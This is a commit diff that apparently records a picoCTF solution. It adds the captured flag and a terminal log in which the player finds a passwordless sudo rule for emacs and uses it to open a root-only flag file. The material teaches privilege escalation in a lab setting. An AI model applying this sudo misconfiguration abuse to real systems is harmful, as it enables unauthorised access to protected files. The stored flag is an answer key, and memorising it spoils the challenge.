misc/sudo_make_me_a_sandwich
This commit is contained in:
@@ -0,0 +1 @@
|
||||
picoCTF{ju57_5ud0_17_d8e1a280}
|
||||
@@ -0,0 +1,16 @@
|
||||
ctf-player@challenge:~$ ls -lah
|
||||
total 16K
|
||||
drwxr-xr-x 1 ctf-player ctf-player 20 Jul 4 09:35 .
|
||||
drwxr-xr-x 1 root root 24 Mar 9 21:32 ..
|
||||
-rw-r--r-- 1 ctf-player ctf-player 220 Feb 25 2020 .bash_logout
|
||||
-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25 2020 .bashrc
|
||||
drwx------ 2 ctf-player ctf-player 34 Jul 4 09:35 .cache
|
||||
-rw-r--r-- 1 ctf-player ctf-player 807 Feb 25 2020 .profile
|
||||
-r--r----- 1 root root 31 Mar 9 21:32 flag.txt
|
||||
ctf-player@challenge:~$ sudo -l
|
||||
Matching Defaults entries for ctf-player on challenge:
|
||||
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
|
||||
|
||||
User ctf-player may run the following commands on challenge:
|
||||
(ALL) NOPASSWD: /bin/emacs
|
||||
ctf-player@challenge:~$ sudo /bin/emacs flag.txt
|
||||
Reference in New Issue
Block a user